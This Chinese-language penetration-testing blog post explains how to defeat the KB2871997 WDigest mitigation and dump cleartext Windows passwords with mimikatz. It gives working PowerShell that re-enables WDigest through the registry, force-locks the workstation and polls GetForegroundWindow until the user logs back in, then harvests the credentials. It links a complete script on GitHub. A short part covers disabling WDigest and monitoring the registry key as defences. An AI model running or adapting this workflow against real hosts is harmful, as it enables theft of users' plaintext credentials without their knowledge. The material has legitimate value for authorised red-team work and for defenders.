域滲透——Dump Clear-Text Password after KB2871997 installed
0x00 前言
在滲透測試中,滲透測試人員通常會使用mimikatz從LSA的記憶體中匯出系統的明文口令,而有經驗的管理員往往會選擇安裝補丁kb2871997
來限制這種行為。這其中涉及到哪些有趣的細節呢?本文將會一一介紹。
0x01 簡介
KB2871997:
更新KB2871997補丁後,可禁用Wdigest Auth強制系統的記憶體不儲存明文口令,此時mimikatz和wce均無法獲得系統的明文口令。但是其他一些系統服務(如IIS的SSO身份驗證)在執行的過程中需要Wdigest Auth開啟,所以補丁採取了折中的辦法——安裝補丁後可選擇是否禁用Wdigest Auth。當然,如果啟用Wdigest Auth,記憶體中還是會儲存系統的明文口令。
支援系統:
- Windows 7
- Windows 8
- Windows 8.1
- Windows Server 2008
- Windows Server 2012
- Windows Server 2012R 2
配置:
1、下載補丁並安裝
下載地址:
https://support.microsoft.com/en-us/kb/2871997
2、配置補丁
下載easy fix並執行,禁用Wdigest Auth
注:
easy fix的操作其實就是改了登錄檔的鍵值,所以這裡我們可以手動操作登錄檔來禁用Wdigest Auth
對應的登錄檔路徑為:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
名稱為:
UseLogonCredential
型別為:
REG_DWORD
值為:
0
使用批處理的命令為:
#!bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
如圖
3、重啟系統
測試無法匯出明文口令
如圖
0x02 解決方法
需要將UseLogonCredential的值設為1,然後登出當前使用者,使用者再次登入後使用mimikatz即可匯出明文口令。
Nishang中的Invoke-MimikatzWDigestDowngrade整合了這個功能,地址如下:
https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1
但是在功能上還無法做到一鍵操作,於是我對此做了擴充套件。
0x03 擴充套件思路
操作流程如下:
- 修改登錄檔
- 鎖屏等待使用者登入
- 使用者登入後,立即匯出明文口令
指令碼實現上需要考慮如下問題:
- 修改登錄檔
- 鎖屏
- 進入迴圈,判斷當前系統是否結束鎖屏狀態
- 使用者登入後,跳出迴圈等待,立即匯出明文口令並儲存
0x04 擴充套件方法
透過powershell實現
1、修改登錄檔
鍵值設為1:
#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
迴圈判斷登錄檔鍵值是否為0,如果為1,等待10s再次判斷,如果為0,退出迴圈,可用來監控此登錄檔鍵值是否被修改:
#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
write-host "[+]Flag Normal"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"
如圖
2、鎖屏
鎖屏操作的快捷鍵為Win+L
cmd下命令為:
rundll32.exe user32.dll,LockWorkStation
powershell程式碼如下:
#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
如圖
3、判斷當前系統是否結束鎖屏狀態
最開始的思路為鎖屏會執行某個程式,在結束鎖屏狀態後會退出某個程式或是在結束鎖屏狀態後會啟動某個程式,於是編寫了如下測試程式碼:
判斷程式notepad程式是否存在,如果不存在等待10s再次判斷,如果存在,退出迴圈:
#!powershell
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
while($Flag -eq 0)
{
write-host "[-]No notepad.exe"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
}
write-host "[!]Got notepad.exe!"
但是實際測試效果均不太理想,後來在如下連結找到了解決思路:
http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen
鎖屏狀態下GetForegroundWindow()的函式返回值為NULL,非鎖屏狀態下GetForegroundWindow()的函式返回值為一個非零的值。
對於GetForegroundWindow()的函式用法可在如下連結找到參考:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1
於是在此基礎上實現功能:
迴圈判斷當前是否為鎖屏狀態,如果不是鎖屏狀態,退出迴圈,否則迴圈等待
#!powershell
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
write-host "[+]LockScreen"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"
}
write-host "[!]Got Screen!"
為方便演示,上面的指令碼新增了等待10s後再判斷的功能,如圖
4、使用者登入後,跳出迴圈等待,立即匯出明文口令並儲存
匯出口令的功能參考如下程式碼
透過powershell載入mimikatz匯出明文口令,新增了儲存、判斷、迴圈等細節,整合文中的功能,完整的程式碼已上傳至github,地址為:
https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
完整演示如圖
0x05 小結
本文對載入mimikatz導明文口令的powershell指令碼做了擴充,新增了如下功能:
- 修改登錄檔鍵值,啟用Wdigest Auth
- 自動鎖屏,等待使用者重新登入
- 判斷當前鎖屏狀態,使用者解鎖登入後立即匯出明文口令
同時也透過powershell實現了監控並記錄對登錄檔鍵值的修改,可用作防禦
0x06 補充
見上面的連結,l3m0n對滲透測試的整理很是細心,是個很好的學習資料。另外在其github上hash抓取
這一章中的win8+win2012明文抓取
描述為測試失敗,希望本文對你(@l3m0n)有用
更多學習資料:
https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/
相關文章
- 域滲透——Local Administrator Password Solution2020-08-19
- 內網滲透-初探域滲透2024-10-28內網
- 域滲透——Skeleton Key2020-08-19
- 域滲透——Hook PasswordChangeNotify2020-08-19Hook
- 域滲透——Pass The Ticket2020-08-19
- 域滲透之利用WMI來橫向滲透2024-06-24
- 3、域滲透詳解2018-06-10
- 域內滲透基本技巧2020-08-19
- 域滲透——Security Support Provider2020-08-19IDE
- 域滲透——Pass The Hash & Pass The Key2020-08-19
- 域滲透之ldap協議2020-11-21LDA協議
- 技術分享 | 域滲透AdminSDHolder2021-03-11
- 域滲透的金之鑰匙2020-08-19
- 安全技術 | 域滲透之SPN2020-10-19
- 7、域滲透——Pass The Hash的實現2018-06-11
- After mysql installation, we need to change the password of root as below2018-08-03MySql
- 2、超詳細的域滲透過程2018-06-11
- 9、Metasploit域滲透測試全程實錄2018-06-11
- 域滲透之初識Kerberos認證過程2024-06-19ROS
- 10、一篇經典的域滲透文章2018-06-11
- 1、域滲透基礎簡單資訊收集2018-06-11
- 14、域滲透神器Empire安裝和簡單使用2018-06-14
- 11、域滲透測試中使用到的命令+工具2018-06-11
- 域滲透之初識LM&NTLM認證過程2024-06-16
- 【CTF】msf和impacket聯合拿域控內網滲透-拿域控2021-09-26內網
- wifi滲透2020-08-08WiFi
- 6、域滲透中查詢域使用者對域成員機器關係2018-06-11
- 8、域滲透——獲得域控伺服器的NTDS.dit檔案2018-06-11伺服器
- metasploit滲透測試筆記(內網滲透篇)2020-08-19筆記內網
- 12、強大的內網域滲透提權分析工具——BloodHound2018-06-14內網
- 滲透測試會用到哪些工具?滲透測試教程2021-08-05
- 內網滲透應用 跨vlan滲透的一種思路2020-08-19內網
- Me-and-My-Girlfriend-1靶機滲透 (Vulnhub內網滲透)2024-11-03內網
- 15、基於psexec的域滲透測試工具—Smbexec v2.02018-06-14
- 16、DeathStar:一鍵自動化域滲透工具(含演示視訊)2018-06-14
- 域滲透之ATT&CK實戰系列——紅隊實戰(一)2024-06-22
- 域滲透 | kerberos認證及過程中產生的攻擊2022-03-24ROS
- 記一次大型且細小的域滲透實戰2021-02-01